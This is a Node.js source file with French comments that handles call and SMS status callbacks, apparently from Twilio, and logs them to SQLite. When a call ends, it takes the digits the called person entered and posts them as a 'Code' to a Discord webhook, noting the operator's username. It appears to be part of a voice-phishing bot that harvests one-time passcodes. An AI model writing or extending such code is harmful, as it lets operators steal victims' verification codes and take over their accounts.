status.js 5.4 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149
  1. module.exports = function(request, response) {
  2. /**
  3. * Fichier contenant les configurations nécéssaires au bon fonctionnement du système
  4. */
  5. const config = require('.././config');
  6. /**
  7. * Instanciation des dépendences permettant l'utilisation du webhook discord
  8. */
  9. const {
  10. Webhook,
  11. MessageBuilder
  12. } = require('discord-webhook-node');
  13. const hook = new Webhook(config.discordwebhook || '');
  14. /**
  15. * Intégration des dépendences SQLITE3
  16. */
  17. const sqlite3 = require('sqlite3').verbose();
  18. const db = new sqlite3.Database('./db/data.db');
  19. /**
  20. * Récupération des variables postées permettant d'ordonner la modification du status
  21. */
  22. var itsfrom = request.body.From || null;
  23. var itsto = request.body.To || null;
  24. var sid = request.body.CallSid;
  25. var date = Date.now();
  26. var status;
  27. /**
  28. * Iniation des variables permettant de définir les requêtes SQL
  29. */
  30. var table = null;
  31. var sidname = null;
  32. /**
  33. * Si il y a un sid avec le CallSid, alors c'est un appel, sinon c'est un SMS.
  34. */
  35. if (sid != undefined) {
  36. status = request.body.CallStatus;
  37. table = 'calls';
  38. sidname = 'callSid';
  39. } else {
  40. sid = request.body.SmsSid;
  41. status = request.body.SmsStatus;
  42. table = 'sms';
  43. sidname = 'smssid';
  44. }
  45. if (itsfrom == null || itsto == null || sid == undefined || sid == null) {
  46. return response.status(200).json({
  47. error: 'Please send all the needed post data.'
  48. });
  49. }
  50. /**
  51. * On vérifie si il n'y a pas déjà la donnée d'enregistrée en DB
  52. */
  53. db.get('SELECT ' + sidname + ' text FROM ' + table + ' WHERE ' + sidname + ' = ?', [sid], (err, row) => {
  54. if (err) {
  55. return console.log(err.message);
  56. }
  57. /**
  58. * Si elle n'est pas enregistrée, on l'insert pour la première fois
  59. */
  60. if (row == undefined) {
  61. db.run('INSERT INTO ' + table + '(itsfrom, itsto, status, ' + sidname + ', date) VALUES(?, ?, ?, ?, ?)', [itsfrom, itsto, status, sid, date], function(err) {
  62. if (err) {
  63. return console.log(err.message);
  64. }
  65. return response.status(200).json({
  66. inserted: 'All is alright.'
  67. });
  68. });
  69. } else {
  70. /**
  71. * Sinon on la met à jour, principalement le status
  72. */
  73. db.run('UPDATE ' + table + ' SET status = ?, itsfrom = ?, itsto = ?, date = ? WHERE ' + sidname + ' = ?', [status, itsfrom, itsto, date, sid], function(err) {
  74. if (err) {
  75. return console.log(err.message);
  76. }
  77. /**
  78. * Si c'est un status d'appel et qu'il est fini (completed), alors on envoi un webhook
  79. * contenant le "digits" le code récupéré lors de l'appel.
  80. *
  81. * On vérifie aussi si le lien webhook est bien défini, sinon on n'envoi pas de webhook.
  82. */
  83. if (table == 'calls' && status == 'completed' && config.discordwebhook != undefined) {
  84. /**
  85. * On récupère toutes les infos sur l'appel
  86. */
  87. db.get('SELECT * FROM calls WHERE callSid = ?', [sid], (err, row) => {
  88. if (err) {
  89. return console.error(err.message);
  90. }
  91. /**
  92. * Si le code est vide, alors la personne n'as pas répondue / donné de code
  93. */
  94. var embed;
  95. /**
  96. * Si il y bien eu le code d'enregistré, alors on définie l'embed à envoyer
  97. */
  98. if (row.digits == '' || row.digits == undefined) {
  99. embed = new MessageBuilder()
  100. .setTitle(`:mobile_phone: ${itsto}`)
  101. .setColor('15105570')
  102. .setDescription(':man_detective: The user didn\'t respond or enter the code.')
  103. .setFooter(row.user)
  104. .setTimestamp();
  105. } else {
  106. /**
  107. * Si c'est un appel de test, ne pas founir entièrement le code
  108. */
  109. if (row.user == 'test') row.digits = row.digits.slice(0, 3) + '***';
  110. /**
  111. * Elle a donné le code, on peut l'envoyer
  112. */
  113. embed = new MessageBuilder()
  114. .setTitle(`:mobile_phone: ${itsto}`)
  115. .setColor('1752220')
  116. .setDescription(`:man_detective: Code : **${row.digits}**`)
  117. .setFooter(row.user)
  118. .setTimestamp();
  119. }
  120. /**
  121. * Envoi du embed au webhook
  122. */
  123. hook.send(embed);
  124. });
  125. }
  126. return response.status(200).json({
  127. inserted: 'All is alright.'
  128. });
  129. });
  130. }
  131. });
  132. };